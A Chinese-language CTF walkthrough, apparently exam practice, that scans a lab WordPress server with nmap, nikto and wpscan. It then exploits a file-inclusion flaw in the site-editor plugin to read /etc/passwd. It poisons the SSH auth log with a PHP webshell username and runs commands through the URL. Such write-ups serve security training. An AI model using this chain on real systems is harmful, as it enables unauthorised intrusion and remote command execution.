首先是CTF類型考題,來個複習:
第一題:
首先是老梗的連線埠偵查:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.20.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 21:33 EDT
Nmap scan report for 172.16.20.6
Host is up (0.077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 30.22 seconds
┌──(root㉿kali)-[~]
└─# nmap -p22,80 172.16.20.6 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 21:39 EDT
Nmap scan report for 172.16.20.6
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6e6ba176158bd429069bd370c599c6b1 (RSA)
| 256 d250a7902067877baf9f6ca3a949d537 (ECDSA)
|_ 256 b7ee598a140ff88df71e1d6c6b975ec9 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: CPENT Website – Just another WordPress site
|_http-generator: WordPress 5.8.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.18 (90%), Linux 4.0 (89%), Linux 4.15 - 5.6 (89%), Linux 5.0 (89%), Linux 5.0 - 5.4 (89%), Linux 2.6.32 (89%), Linux 3.5 (89%), Linux 3.7 (89%), Linux 4.2 (89%), Linux 4.4 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 60.68 ms 192.168.200.1
2 11.69 ms 172.16.20.6
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds
看到80 port,先連上去看看:
網頁上沒什麼東西,用nikto來翻翻看有什麼目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://172.16.20.6
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.20.6
+ Target Hostname: 172.16.20.6
+ Target Port: 80
+ Start Time: 2023-03-25 21:49:06 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://172.16.20.6/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /wordpresswp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /: A Wordpress installation was found.
+ /wordpress: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 7919 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time: 2023-03-25 21:56:22 (GMT-4) (436 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (nginx/1.18.0) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!
發現是wordpress,用wpscan看看:
┌──(root㉿kali)-[~]
└─# wpscan --url http://172.16.20.6 -e vp,vt,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://172.16.20.6/ [172.16.20.6]
[+] Started: Sat Mar 25 22:00:40 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: nginx/1.18.0 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://172.16.20.6/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.6/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.6/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.6/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.6/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
| - http://172.16.20.6/comments/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://172.16.20.6/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:04 <================> (493 / 493) 100.00% Time: 00:00:04
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jason
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://172.16.20.6/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] william
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Mar 25 22:00:51 2023
[+] Requests Done: 549
[+] Cached Requests: 10
[+] Data Sent: 142.853 KB
[+] Data Received: 659.982 KB
[+] Memory used: 260.824 MB
[+] Elapsed time: 00:00:10
沒有plugin,再用別的參數掃:(ap就是all plugin)
┌──(root㉿kali)-[~]
└─# wpscan --url http://172.16.20.6 -e ap
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://172.16.20.6/ [172.16.20.6]
[+] Started: Sat Mar 25 22:03:32 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: nginx/1.18.0 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://172.16.20.6/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.6/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.6/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.6/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.6/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
| - http://172.16.20.6/comments/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://172.16.20.6/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] site-editor
| Location: http://172.16.20.6/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.16.20.6/wp-content/plugins/site-editor/readme.txt
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Mar 25 22:03:36 2023
[+] Requests Done: 12
[+] Cached Requests: 38
[+] Data Sent: 2.35 KB
[+] Data Received: 15.378 MB
[+] Memory used: 248.977 MB
[+] Elapsed time: 00:00:03
用別的參數掃:(at就是all theme)
┌──(root㉿kali)-[~]
└─# wpscan --url http://172.16.20.6 -e at
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://172.16.20.6/ [172.16.20.6]
[+] Started: Sat Mar 25 22:04:35 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: nginx/1.18.0 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://172.16.20.6/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.16.20.6/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.16.20.6/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.16.20.6/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10).
| Found By: Rss Generator (Passive Detection)
| - http://172.16.20.6/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
| - http://172.16.20.6/comments/feed/, <generator>https://wordpress.org/?v=5.8.2</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://172.16.20.6/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwentyone/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:03:23 <============> (25448 / 25448) 100.00% Time: 00:03:23
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] Theme(s) Identified:
[+] twentynineteen
| Location: http://172.16.20.6/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://172.16.20.6/wp-content/themes/twentynineteen/style.css
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.16.20.6/wp-content/themes/twentynineteen/, status: 500
|
| Version: 2.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentynineteen/style.css, Match: 'Version: 2.1'
[+] twentytwenty
| Location: http://172.16.20.6/wp-content/themes/twentytwenty/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 2.1
| Style URL: http://172.16.20.6/wp-content/themes/twentytwenty/style.css
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwenty/, status: 500
|
| Version: 1.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwenty/style.css, Match: 'Version: 1.8'
[+] twentytwentyone
| Location: http://172.16.20.6/wp-content/themes/twentytwentyone/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://172.16.20.6/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://172.16.20.6/wp-content/themes/twentytwentyone/style.css
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By:
| Urls In 404 Page (Passive Detection)
| Known Locations (Aggressive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwentyone/, status: 500
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.16.20.6/wp-content/themes/twentytwentyone/style.css, Match: 'Version: 1.4'
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Mar 25 22:08:04 2023
[+] Requests Done: 25458
[+] Cached Requests: 49
[+] Data Sent: 6.529 MB
[+] Data Received: 8.55 MB
[+] Memory used: 216.758 MB
[+] Elapsed time: 00:03:28
把ssh版本餵狗,查不到相關exploit,問題應在wordpress。但布景主題twentytwenty 1.4餵狗也找不到,最後是wordpress 5.8.2有查到:
可以發現是sql injection的弱點,不是很容易用,所以先保留。plugin有個site-editor 1.1.1,查查看:
看看網頁底下的說明:
可以如法炮製:
http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwdhttp://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
發現的確可以讀出passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin jason:x:1000:1000:jason:/home/jason:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false administrator:x:1001:1001:,,,:/home/administrator:/bin/bash {"success":true,"data":{"output":[]}}
可以嘗試更改ajax_path=
後面的路徑,使它執行更多指令:
http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log
這裡打開的log,可以即時反應現在的連線狀況:
Mar 26 04:09:01 ubuntu CRON[1689]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:09:01 ubuntu CRON[1689]: pam_unix(cron:session): session closed for user root
Mar 26 04:17:01 ubuntu CRON[1713]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:17:01 ubuntu CRON[1713]: pam_unix(cron:session): session closed for user root
Mar 26 04:39:01 ubuntu CRON[1811]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:39:01 ubuntu CRON[1811]: pam_unix(cron:session): session closed for user root
{"success":true,"data":{"output":[]}}
LFI奇技淫巧: php語法的output由auth.log顯示,並利用LFI來get shell
┌──(root㉿kali)-[~]
└─# ssh '<?php phpinfo();?>'@172.16.20.6
The authenticity of host '172.16.20.6 (172.16.20.6)' can't be established.
ED25519 key fingerprint is SHA256:CfP9sOHYcgy9m9b7tm7WVlE3JlSZRQYU6ZF7JxVSvms.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.16.20.6' (ED25519) to the list of known hosts.
<?php phpinfo();?>@172.16.20.6's password:
不用輸入密碼,直接ctrl+c就可以,接下來重新整理剛剛的網頁:
Mar 26 04:09:01 ubuntu CRON[1689]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:09:01 ubuntu CRON[1689]: pam_unix(cron:session): session closed for user root
Mar 26 04:17:01 ubuntu CRON[1713]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:17:01 ubuntu CRON[1713]: pam_unix(cron:session): session closed for user root
Mar 26 04:39:01 ubuntu CRON[1811]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 04:39:01 ubuntu CRON[1811]: pam_unix(cron:session): session closed for user root
Mar 26 05:05:59 ubuntu sshd[1821]: Invalid user <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
body {background-color: #fff; color: #222; font-family: sans-serif;}
pre {margin: 0; font-family: monospace;}
a:link {color: #009; text-decoration: none; background-color: #fff;}
a:hover {text-decoration: underline;}
table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;}
.center {text-align: center;}
.center table {margin: 1em auto; text-align: left;}
.center th {text-align: center !important;}
td, th {border: 1px solid #666; font-size: 75%; vertical-align: baseline; padding: 4px 5px;}
th {position: sticky; top: 0; background: inherit;}
h1 {font-size: 150%;}
h2 {font-size: 125%;}
.p {text-align: left;}
.e {background-color: #ccf; width: 300px; font-weight: bold;}
.h {background-color: #99c; font-weight: bold;}
.v {background-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;}
.v i {color: #999;}
img {float: right; border: 0;}
hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
</style>
<title>PHP 7.4.3 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
<body><div class="center">
<table>
<tr class="h"><td>
<a href="http://www.php.net/"><img border="0" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHkAAABACAYAAAA+j9gsAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAD4BJREFUeNrsnXtwXFUdx8/dBGihmE21QCrQDY6oZZykon/gY5qizjgM2KQMfzFAOioOA5KEh+j4R9oZH7zT6MAMKrNphZFSQreKHRgZmspLHSCJ2Co6tBtJk7Zps7tJs5t95F5/33PvWU4293F29ybdlPzaM3df2XPv+Zzf4/zOuWc1tkjl+T0HQ3SQC6SBSlD6WKN4rusGm9F1ps/o5mPriOf8dd0YoNfi0nt4ntB1PT4zYwzQkf3kR9/sW4xtpS0CmE0SyPUFUJXFMIxZcM0jAZ4xrKMudQT7963HBF0n6EaUjkP0vI9K9OEHWqJLkNW1s8mC2WgVTwGAqWTafJzTWTKZmQuZ/k1MpAi2+eys6mpWfVaAPzcILu8EVKoCAaYFtPxrAXo8qyNwzZc7gSgzgN9Hx0Ecn3j8xr4lyHOhNrlpaJIgptM5DjCdzrJ0Jmce6bWFkOpqs0MErA4gXIBuAmY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wm3hFNsA/CiYdKyfhYx3Aws8urp8nsJM72naGCG8zYwZMecjk/WHVVRbsMwU6tBVQsWJS2sNDlrgVTO0RE/vzKQtuN2+/85k5PxlUaL75D3BZwKss+JUqSFRAO/F7Eqlkmj+2gbrgYE8rZFluu+P3pOGsyWCG/Y9/GR8exC+vYfc5flxgzRdDGsDEz/8AJsxwQcBUKPCtmKOMFJO8OKMgF8r3b3sKkAm69TN+2OZCAm5ID/g9XPypwX29ufWgudq0urrKes/8nPkxgy1bdg6z/or/SFc2mzV/xs+6HwySTmdYJp2dpaWKEregYrVfn9/B0xkD2U6+e+sOaHqImTfLrycUOIZM1hJwC3oemPXbi/y5PnsrJ136bUa8pxu69BklmANWwDRkgR1wmwVaglyi3Nz6JLQ+ZG5NxQsgNdAhmIfJN7wxgoWg9fxzPQ+c/g9YAIXgeUKCyipJO4uR/wswAOIwB/5IgxvbAAAAAElFTkSuQmCC" alt="PHP logo" /></a><h1 class="p">PHP Version 7.4.3</h1>
</td></tr>
</table>
<table>
<tr><td class="e">System </td><td class="v">Linux ubuntu 5.4.0-100-generic #113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 x86_64 </td></tr>
<tr><td class="e">Build Date </td><td class="v">Nov 25 2021 23:16:22 </td></tr>
<tr><td class="e">Server API </td><td class="v">FPM/FastCGI </td></tr>
<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>
<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/etc/php/7.4/fpm </td></tr>
<tr><td class="e">Loaded Configuration File </td><td class="v">/etc/php/7.4/fpm/php.ini </td></tr>
<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/etc/php/7.4/fpm/conf.d </td></tr>
<tr><td class="e">Additional .ini files parsed </td><td class="v">/etc/php/7.4/fpm/conf.d/10-mysqlnd.ini,
/etc/php/7.4/fpm/conf.d/10-opcache.ini,
所以可以確定把帳號替換成php語法,網頁還是吃的進去,所以乾脆換成可以讓攻擊者下任意指令的語法:
┌──(root㉿kali)-[~]
└─# ssh '<?php system($_GET[CMD]);?>'@172.16.20.6
<?php system($_GET[CMD]);?>@172.16.20.6's password:
重新整理後可以發現多出下面這一行:
ar 26 05:12:36 ubuntu sshd[1900]: Connection closed by invalid user 192.168.200.4 port 45892 [preauth]
{"success":true,"data":{"output":[]}}
接下來,就可以直接在網址列下指令,比如ls:
view-source:http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&CMD=ls
可以發現的確成功執行:
Mar 26 05:12:36 ubuntu sshd[1900]: Connection closed by invalid user ajax_shortcode_pattern.php
pagebuilder-options-manager.class.php
pagebuilder.class.php
pagebuildermodules.class.php
pb-shortcodes.class.php
pb-skin-loader.class.php
再下ip addr
指令:
view-source:http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&CMD=ip%20addr
成功執行:
Mar 26 05:12:16 ubuntu sshd[1900]: Invalid user 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
